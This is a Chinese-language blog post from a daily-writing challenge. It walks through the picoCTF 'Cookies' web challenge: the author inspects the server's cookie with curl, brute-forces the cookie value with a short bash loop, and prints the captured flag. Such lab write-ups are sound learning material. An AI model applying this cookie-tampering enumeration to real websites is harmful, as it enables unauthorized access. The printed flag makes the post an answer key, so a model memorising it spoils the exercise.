[ Day10] Web 小复习

哈罗各位安安
今天是连续发文的第10天
我没囤文,每天当下产文完成1/3了 洒花~
ㄟ我会不会太早庆祝
不要乌鸦嘴,我一定会成功完赛的
要是当老鼠屎一万就飞了 QQ
读者可以留言跟我互动,告诉我你读完的感觉
会不会写不够详细,怎样可以更好都欢迎跟我回馈~

我们开工吧!今天是第10天,我想来个小复习
所以今天解的题型概念会是前几天解过的Cookie
GO ~

Cookies

Who doesn't love cookies? Try to figure out the best one. http://mercury.picoctf.net:64944/
No Hints

我们上面连结点下去,会出现这画面

我开始乱输入,都会显示无效登入
snickerdoodle
右键检视原始码

<div class="col-xs-12 col-sm-12 col-md-12">
				<h3>Welcome to my cookie search page. See how much I like different kinds of cookies!</h3>
			</div>

检查一下从服务器获得的Cookie

┌──(user@kali)-[/media/sf_CTFs/pico/Cookies]
└─$ curl -s http://mercury.picoctf.net:27177/ -I | grep Cookie
Set-Cookie: name=-1; Path=/

如果我们试试更改不同的Cookie名字会怎样?

┌──(user@kali)-[/media/sf_CTFs/pico/Cookies]
└─$ curl -s http://mercury.picoctf.net:27177/ -H "Cookie: name=0;" -L | grep -i Cookie
    <title>Cookies</title>
            <h3 class="text-muted">Cookies</h3>
          <!-- <strong>Title</strong> --> That is a cookie! Not very special though...
            <p style="text-align:center; font-size:30px;"><b>I love snickerdoodle cookies!</b></p>

我们用暴力解来搜寻那特别的Cookie数字吧

┌──(user@kali)-[/media/sf_CTFs/pico/Cookies]
└─$ for i in {1..20}; do
for>     contents=$(curl -s http://mercury.picoctf.net:27177/ -H "Cookie: name=$i; Path=/" -L)
for>     if ! echo "$contents" | grep -q "Not very special"; then
for then>         echo "Cookie #$i is special"
for then>         echo $contents | grep "pico"
for then>         break
for then>     fi
for> done
Cookie #18 is special
            <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{3v3ry1_l0v3s_c00k135_064663be}</code></p>

Flag出来罗~
flag: picoCTF{3v3ry1_l0v3s_c00k135_064663be}
解完收工

明天又是快乐星期六,令人期待的滑板课

大家晚安